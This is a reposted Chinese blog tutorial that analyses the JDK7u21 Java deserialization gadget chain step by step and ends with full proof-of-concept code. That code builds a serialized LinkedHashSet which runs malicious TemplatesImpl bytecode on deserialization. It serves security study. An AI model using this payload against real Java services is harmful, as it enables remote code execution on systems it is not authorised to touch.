0


【java安全】原生反序列化利用链JDK7u21

文章目录

【java安全】原生反序列化利用链JDK7u21

前言

前面我们学习了使用第三方类:

Common-Collections

Common-Beanutils

进行反序列化利用。我们肯定会想,如果不利用第三方类库,能否进行反序列化利用链呢?这里还真有:JDK7u21。但是只适用于java 7u及以前的版本

在使用这条利用链时,需要设置jdk为jdk7u21

原理

JDK7u21这条链利用的核心其实就是

AnnotationInvocationHandler

,没错,就是我们之前学习过的那个类,位于:

sun.reflect.annotation

包下

equalsImpl()

我们看一下

equalsImpl()

getMemberMethods

方法:

privateBooleanequalsImpl(Object var1){//传入var1...}else{Method[] var2 =this.getMemberMethods();int var3 = var2.length;for(int var4 =0; var4 < var3;++var4){Method var5 = var2[var4];// var5是一个方法对象String var6 = var5.getName();Object var7 =this.memberValues.get(var6);Object var8 =null;AnnotationInvocationHandler var9 =this.asOneOfUs(var1);if(var9 !=null){
                    var8 = var9.memberValues.get(var6);}else{try{
                        var8 = var5.invoke(var1);// 这里会调用var1这个对象的var5方法}...returntrue;}}privatetransientvolatileMethod[] memberMethods =null;privateMethod[]getMemberMethods(){if(this.memberMethods ==null){this.memberMethods =(Method[])AccessController.doPrivileged(newPrivilegedAction<Method[]>(){publicMethod[]run(){Method[] var1 =AnnotationInvocationHandler.this.type.getDeclaredMethods();//获得Method[]AccessibleObject.setAccessible(var1,true);return var1;}});}returnthis.memberMethods;}
equalsImpl()

方法中明显会调用

memberMethod.invoke(o) 

,而

memberMethod

来自于

this.type.getDeclaredMethods()

如果我们此时传入invoke()中的形参为

TemplatesImpl

对象,并且

this.type

TemplatesImpl

的字节码对象。

那么经过循环就会调用

TemplatesImpl

对象中的每个方法,就必然会调用

newTransformer()

getOutputProperties()

方法从而执行恶意字节码了

如何调用equalsImpl()?

那么在哪里会调用

equalsImpl()

方法呢?

invoke()

publicObjectinvoke(Object var1,Method var2,Object[] var3){String var4 = var2.getName();Class[] var5 = var2.getParameterTypes();//当执行invoke()方法时传入的方法名字为equals并且形参只有一个,类型为Object就会执行 equalsImpl()if(var4.equals("equals")&& var5.length ==1&& var5[0]==Object.class){returnthis.equalsImpl(var3[0]);}else{assert var5.length ==0;if(var4.equals("toString")){returnthis.toStringImpl();}elseif(var4.equals("hashCode")){returnthis.hashCodeImpl();}elseif(var4.equals("annotationType")){returnthis.type;}else{Object var6 =this.memberValues.get(var4);//cc1...}}}

我们之前cc1中是另

this.memberValues

等于一个

LazyMap

对象,让其调用get()方法,就可以执行cc1利用链了

但是这里我们不需要利用这里,我们需要注意这里:

//当执行invoke()方法时传入的方法名字为equals并且形参只有一个,类型为Object就会执行 equalsImpl()if(var4.equals("equals")&& var5.length ==1&& var5[0]==Object.class){returnthis.equalsImpl(var3[0]);}

我们应该思考这里的

invoke()

方法如何被调用,并且刚好使形参的第二个为

equals

、第三个参数的类型为

Object

对象

我们之前学习过动态代理,当一个代理对象

Proxy

调用一个方法时,就会调用构造该代理对象时传入的

InvocationHandler

invoke()

方法,并且第二个参数为

methodName

方法名,invoke()第三个参数为调用方法时传入的参数

所以现在我们需要找到一个类,他在反序列化时,会间接的对Proxy对象调用

equals()

方法

HashSet通过反序列化间接执行equals()方法

HashSet可以做到这个效果,实现这个效果有一点复杂,我们先大致了解一下过程

image-20230803163945918

我们创建一个

LinkedHashSet

对象,当反序列化时会遍历每一个值,使用

LinkedHashMap#put()

方法,

put()方法中这几行是重点

int hash =hash(key);//计算key的hash值int i =indexFor(hash, table.length);//这个i也是hashfor(Entry<K,V> e = table[i]; e !=null; e = e.next){Object k;if(e.hash == hash &&((k = e.key)== key || key.equals(k)))//重点

这里会对

key

的hash与表中取出的e的hash做一个比较,如果这俩个hash相等,但是又不是同一个对象的化,就会执行

key

equals()

方法,传入参数

k

这里我们假设

key

Proxy

代理对象,并且这里传入的

k

是一个

TemplatesImpl

恶意对象,那么就会执行

AnnotationInvocationHandler

invoke()

方法,从而执行

equalsImpl()

中的invoke()方法

最终调用了

TemplatesImpl

恶意对象的

newTransformer()

方法RCE

image-20230803165019843

我们怎么控制上面的

key

以及

k=e.key

呢?

其实我们上面已经分析了一下,这个key和k其实就是我们添加进入:

LinkedHashSet

中的元素而已

// 实例化HashSet,并将两个对象放进去HashSet set =newLinkedHashSet();
set.add(templates);
set.add(proxy);

我们应该先添加

TemplatesImpl

对象,再添加

Proxy

代理对象,这样才好触发

key.equals(k)

如何使hash相等?

我们上面其实默认了一个前提,那就是

e.hash == hash

。其实这两个默认肯定不相等,我们需要一些小操作使其相等

我们先来看看

HashMap

中的

hash()

方法:

finalinthash(Object k){...
        h ^= k.hashCode();
        h ^=(h >>>20)^(h >>>12);return h ^(h >>>7)^(h >>>4);}

这里自始至终只用到了一个变量

k.hashCode()

,其他的都相等,我们想要

Proxy

TemplateImpl

的hash相等,其实只需要让

k.hashCode()

相等即可

TemplateImpl的 hashCode() 是一个Native方法,每次运 行都会发生变化,我们理论上是无法预测的,所以想让proxy的 hashCode() 与之相等,只能寄希望于 proxy.hashCode()

当我们调用

proxy.hashCode()

时,就会调用创建改代理对象时传入的

InvocationHandler

对象的

invoke()

方法,我们继续看看

invoke()

publicObjectinvoke(Object var1,Method var2,Object[] var3){String var4 = var2.getName();Class[] var5 = var2.getParameterTypes();}elseif(var4.equals("hashCode")){returnthis.hashCodeImpl();}...}}

可见,会继续调用

invoke()

中的

hashCodeImpl()

方法:

privateinthashCodeImpl(){int var1 =0;Map.Entry var3;for(Iterator var2 =this.memberValues.entrySet().iterator(); var2.hasNext(); var1 +=127*((String)var3.getKey()).hashCode()^memberValueHashCode(var3.getValue())){
            var3 =(Map.Entry)var2.next();}return var1;}

重点是下面这一句,var1是计算累加和的,如果

this.memberValues

是一个

HashMap

类型并且其中只有一个元素,那么函数的返回值就变成了这个了:

127*((String)var3.getKey()).hashCode()^memberValueHashCode(var3.getValue())
即:
127* key.hashCode()^ value.hashCode()

我们想让

Proxy

TemplateImpl

的hash相等,并且

TemplateImpl

hash不可控。

上述代码中如果我们令

key.hashCode()=0

,并且我们令

value

等于

TemplateImpl

对象,那么这两个的hash就相等了,进而可以执行Proxy的

equals()

方法了

我们需要找到一个值的hashCode为0,是可以通过爆破来实现的:

publicstaticvoidbruteHashCode(){for(long i =0; i <9999999999L; i++){if(Long.toHexString(i).hashCode()==0){System.out.println(Long.toHexString(i));}}}

跑出来第一个是

f5a5a608

,这个也是ysoserial中用到的字符串

思路整理

讲完了这么多我们理清一下思路

先创建一个恶意

TemplatesImpl

对象:

TemplatesImpl templates =newTemplatesImpl();setFieldValue(templates,"_bytecodes",newbyte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});setFieldValue(templates,"_name","HelloTemplatesImpl");setFieldValue(templates,"_tfactory",newTransformerFactoryImpl());

为了使

Proxy

TemplateImpl

的hash相等,以便执行

equals()

,我们需要让

AnnotationInvocationHandler

this.memberValues

等于一个

HashMap

并且只有一个元素:key为

f5a5a608

,value为:

TemplateImpl

对象,这样由

AnnotationInvocationHandler

组成的代理对象

proxy

TemplateImpl

的hash就会相等

所以创建一个

HashMap

// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值HashMap map =newHashMap();
map.put(zeroHashCodeStr,"foo");

实例化 AnnotationInvocationHandler 对象

  • 它的type属性是一个TemplateImpl类
  • 它的memberValues属性是一个Map,Map只有一个key和value,key是字符串 f5a5a608 , value是前面生成的恶意TemplateImpl对象

实例化

AnnotationInvocationHandler

类,将map传参进去,经过构造函数设置为

memberValues

由于

equalImpl()

方法会调用

memberMethod.invoke(o)

,这个

memberMethod

来自

this.type.getDeclaredMethods()

所以需要设置

type

TemplatesImpl

的 字节码,这里构造函数会将第一个参数设为

type
Constructor handlerConstructor =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handlerConstructor.setAccessible(true);InvocationHandler tempHandler =(InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

在创建核心的

LinkedHashSet

之前,我们需要创建一个代理对象,将

tempHandler

给传进去

// 为tempHandler创造一层代理Templates proxy =(Templates)Proxy.newProxyInstance(JDK7u21.class.getClassLoader(),newClass[]{Templates.class}, tempHandler);

然后实例化:HashSet:

// 实例化HashSet,并将两个对象放进去HashSet set =newLinkedHashSet();
set.add(templates); 
set.add(proxy);

添加的先后顺序要注意一下,Proxy应该放在后面,这样才会调用

Proxy#equals()

这样在反序列化触发rce的流程如下:

首先触发HashSet的

readObject()

方法,然后集合中的值会使用

LinkedHasnMap

put(key,常数)

方法进行key去重

去重时计算元素的

hashcode

,由于我们已经构造其相等,所以会触发

Proxy#equals()

方法

进而调用

AnnotationInvocationHandler#invoke()

->

AnnotationInvocationHandler#equalsImpl()

方法

equalsImpl()

会遍历

type

的每个方法并调用。

因为

this.type

TemplatesImpl

字节码对象,所以最终会触发

newTransformer()

造成RCE

POC

importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importcom.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;importjavassist.ClassPool;importjavax.xml.transform.Templates;importjava.io.ByteArrayInputStream;importjava.io.ByteArrayOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.reflect.Constructor;importjava.lang.reflect.Field;importjava.lang.reflect.InvocationHandler;importjava.lang.reflect.Proxy;importjava.util.HashMap;importjava.util.HashSet;importjava.util.LinkedHashSet;importjava.util.Map;publicclassJDK7u21{publicstaticvoidmain(String[] args)throwsException{TemplatesImpl templates =newTemplatesImpl();setFieldValue(templates,"_bytecodes",newbyte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});setFieldValue(templates,"_name","HelloTemplatesImpl");setFieldValue(templates,"_tfactory",newTransformerFactoryImpl());String zeroHashCodeStr ="f5a5a608";// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值HashMap map =newHashMap();
        map.put(zeroHashCodeStr,"foo");// 实例化AnnotationInvocationHandler类Constructor handlerConstructor =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        handlerConstructor.setAccessible(true);InvocationHandler tempHandler =(InvocationHandler) handlerConstructor.newInstance(Templates.class, map);// 为tempHandler创造一层代理Templates proxy =(Templates)Proxy.newProxyInstance(JDK7u21.class.getClassLoader(),newClass[]{Templates.class}, tempHandler);// 实例化HashSet,并将两个对象放进去HashSet set =newLinkedHashSet();
        set.add(templates);
        set.add(proxy);// 将恶意templates设置到map中
        map.put(zeroHashCodeStr, templates);ByteArrayOutputStream barr =newByteArrayOutputStream();ObjectOutputStream oos =newObjectOutputStream(barr);
        oos.writeObject(set);
        oos.close();System.out.println(barr);ObjectInputStream ois =newObjectInputStream(newByteArrayInputStream(barr.toByteArray()));Object o =(Object)ois.readObject();}publicstaticvoidsetFieldValue(Object obj,String fieldName,Object value)throwsException{Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);}}

Gadget

HashSet#readObject()LinkedHashMap#put(e,PRESENT)Proxy#equals(k)AnnotationInvocationHandler#invoke()equalsImpl()TemplatesImpl#newTransformer()...ClassLoader.defineClass()...Runtime.exec()

为什么在HashSet#add()前要将HashMap的value设为其他值?

我们追踪一下

HashSet#add()

方法,发现他也会调用

HashMap#put()

方法,这样就会导致Proxy提前触发

equals()

方法造成命令执行:

image-20230803181355838

我们测试一下:

importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importcom.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;importjavassist.ClassPool;importjavax.xml.transform.Templates;importjava.io.ByteArrayInputStream;importjava.io.ByteArrayOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.reflect.Constructor;importjava.lang.reflect.Field;importjava.lang.reflect.InvocationHandler;importjava.lang.reflect.Proxy;importjava.util.HashMap;importjava.util.HashSet;importjava.util.LinkedHashSet;importjava.util.Map;publicclassJDK7u21{publicstaticvoidmain(String[] args)throwsException{TemplatesImpl templates =newTemplatesImpl();setFieldValue(templates,"_bytecodes",newbyte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});setFieldValue(templates,"_name","HelloTemplatesImpl");setFieldValue(templates,"_tfactory",newTransformerFactoryImpl());String zeroHashCodeStr ="f5a5a608";HashMap map =newHashMap();
        map.put(zeroHashCodeStr, templates);//value再这里设为templatesConstructor handlerConstructor =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        handlerConstructor.setAccessible(true);InvocationHandler tempHandler =(InvocationHandler) handlerConstructor.newInstance(Templates.class, map);Templates proxy =(Templates)Proxy.newProxyInstance(JDK7u21.class.getClassLoader(),newClass[]{Templates.class}, tempHandler);HashSet set =newLinkedHashSet();
        set.add(templates);
        set.add(proxy);}publicstaticvoidsetFieldValue(Object obj,String fieldName,Object value)throwsException{Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);}}

成功不经过反序列化就弹出计算器:

image-20230803181634928

所以我们需要先将

HashMap

的唯一一个元素的value设为其他值

标签: java 安全 web安全

本文转载自: https://blog.csdn.net/qq_61839115/article/details/132089635
版权归原作者 Leekos 所有, 如有侵权,请联系我们删除。

“【java安全】原生反序列化利用链JDK7u21”的评论:

还没有评论